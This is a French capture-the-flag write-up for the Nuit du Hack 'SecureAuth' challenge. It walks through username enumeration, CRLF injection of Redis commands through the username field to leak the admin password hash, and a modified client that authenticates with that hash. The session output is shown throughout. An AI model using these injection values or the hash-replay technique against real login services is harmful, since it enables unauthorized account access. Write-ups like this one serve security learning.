Enoncé :

  "There is a building. Inside this building there is a level where no elevator can go, and no stair can reach. This level is filled with doors. These doors lead to many places. Hidden places. But one door is special. One door leads to the source." (The Keymaker)
  Find the key. Open the door.
  Static client @ http://static.challs.nuitduhack.com/SecureAuthClient.tar.gz
  Score
      350
  Link
      secureauth.challs.nuitduhack.com:4241 

L'archive contient le script Python suivant :

  import socket
  from hashlib import sha256
  class SecureConnect_Client():
      def __init__(self):
          self.sock = None
          self.username = None
          self.password = None
      def connect(self):
          self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          self.sock.connect(("151.80.18.93", 4241))
      def login(self, username, password):
          self.username = username
          self.password = password
          challenge = self.get_challenge()
          authpacket = self.process_authpacket(username, password, challenge)
          print "[~] Sending auth packet..."
          self.sock.sendall(authpacket)
      def get_challenge(self):
          data = self.sock.recv(1024)
          if data[:9] == "CHALLENGE":
              print "[~] Server sent challenge : %s !" % data[10:-1]
              return data[10:-1]
          raise Exception("Bad challenge...")
      def process_authpacket(self, username, authtoken, challenge):
          packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
          print "[+] Auth data : %s" % packet
          return packet
      def get_response(self):
          print self.sock.recv(1024)
          print self.sock.recv(1024)
      def close(self):
          self.sock.close()
  if __name__ == "__main__":
      scc = SecureConnect_Client()
      scc.connect()
      scc.login("username", "password")
      scc.get_response()
      scc.close()

Voici ce qu'on obtient quand on l'exécute :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI !
  [+] Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9
  [~] Sending auth packet...
  [!] Authentification Error : Invalid username.
  [-] Bad password or authentification error... !

En remplaçant username par admin, on obtient un message différent, qui nous semble indiquer que l'utilisateur Administrator existe :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV !
  [+] Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb
  [~] Sending auth packet...
  [+] Welcome Administrator we are verifying your password...
  [-] Bad password or authentification error... !

En essayant de jouer avec la valeur du username, en mettant par exemple username”, on obtient le message suivant :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 !
  [+] Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792
  [~] Sending auth packet...
  [!] Authentification Error : Valid response code but no user data received : -ERR Protocol error: unbalanced quotes in request
  [-] Bad password or authentification error... !

L'erreur unbalanced quotes in request semble provenir d'un serveur Redis, un moteur NoSQL, plus particulièrement dans le fichier networking.c :

  http://download.redis.io/redis-stable/src/networking.c

En remplaçant l'username par admin\x0A\x0D afin d'essayer de terminer la commande, on obtient :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB !
  [+] Auth data : AUTH username
      
      |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da
  [~] Sending auth packet...
  [+] Welcome -ERR unknown command ':name' we are verifying your password...
  [-] Bad password or authentification error... !

On note au passage le préfixe :name qui a tenté d'être interprêté comme une deuxième commande.

En essayant d'injecter des commandes (http://redis.io/commands), par exemple INFO en mettant dans l'username la valeur admin\x0A\x0DINFO\x0A\x0D, le serveur nous renvoie :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB !
  [+] Auth data : AUTH admin
  INFO
  |30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3
  [~] Sending auth packet...
  [+] Welcome -ERR unknown command 'INFO' we are verifying your password...
  
  [-] Bad password or authentification error... !

La commande INFO n'est pas reconnue, et après de nombres tests, on remarque qu'un grand nombre de commandes sont filtrées, mis à part la commande GET.

On suppose donc qu'elle est utilisée pour récupérer le username et password dans la base NoSQL.

Avec un peu d'imagination, on tente de recréer les requêtes qui sont faites pour récupérer le login et mot de passe côté serveur :

  username = GET <user>:name
  password = GET <user>:password

On essaye donc d'injecter admin:password\x0A\x0D dans l'username, ce qui nous donne :

  username = GET admin:password\x0A\x0D:name (le :name n'est pas interprêté)
  password = GET admin:password\x0A\x0D:password (le :password n'est pas interprêté)

Le serveur nous renvoie :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ !
  [+] Auth data : AUTH admin:password
  |606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3
  [~] Sending auth packet...
  [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
  
  [-] Bad password or authentification error... !

Comme attendu, le serveur affiche l'username que nous avons remplacé par son password. Nous obtenons donc le sha256(admin_password) qui est 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529.

Pour rappel, le packet envoyé au serveur contenant le password est formé ainsi :

  packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())

authtoken est le password, et challenge est une chaîne aléatoire envoyée à chaque connexion par le serveur.

Maintenant que l'on connait le sha256(authtoken) récupéré précédemment, on remplace donc cette ligne par :

  packet = "AUTH %s|%s" % (username, sha256("837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529" + challenge).hexdigest())

On exécute à nouveau le script …

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP !
  [+] Auth data : AUTH admin:password
  |8baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4
  [~] Sending auth packet...
  [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
  
  [+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*